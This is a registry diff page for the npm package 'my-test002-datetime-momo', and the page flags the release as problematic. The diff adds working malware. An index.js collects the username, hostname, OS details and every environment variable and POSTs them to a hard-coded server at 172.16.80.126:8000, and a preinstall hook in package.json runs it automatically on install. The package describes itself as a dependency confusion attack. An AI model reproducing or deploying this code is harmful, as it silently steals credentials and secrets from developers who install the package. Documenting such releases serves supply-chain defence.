my-test002-datetime-momo 0.0.1-security → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of my-test002-datetime-momo might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +44 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const { exec } = require('child_process');
4
+ const https = require('http');
5
+
6
+ // 收集系统信息
7
+ const username = os.userInfo().username;
8
+ const hostname = os.hostname();
9
+ const platform = os.platform();
10
+ const release = os.release();
11
+
12
+ // 创建有效负载
13
+ const payload = {
14
+ username,
15
+ hostname,
16
+ platform,
17
+ release,
18
+ env: process.env
19
+ };
20
+
21
+ // 发送数据到攻击者控制的服务器
22
+ const data = JSON.stringify(payload);
23
+
24
+ const options = {
25
+ hostname: '172.16.80.126',
26
+ port: 8000,
27
+ path: '/collect',
28
+ method: 'POST',
29
+ headers: {
30
+ 'Content-Type': 'application/json',
31
+ 'Content-Length': data.length
32
+ }
33
+ };
34
+
35
+ const req = https.request(options, (res) => {
36
+ console.log(`状态码: ${res.statusCode}`);
37
+ });
38
+
39
+ req.on('error', (error) => {
40
+ console.error(error);
41
+ });
42
+
43
+ req.write(data);
44
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "my-test002-datetime-momo",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.0.0",
4
+ "description": "A package for dependency confusion attack",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "momo-sec",
10
+ "license": "MIT",
11
+ "keywords": []
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=my-test002-datetime-momo for more information.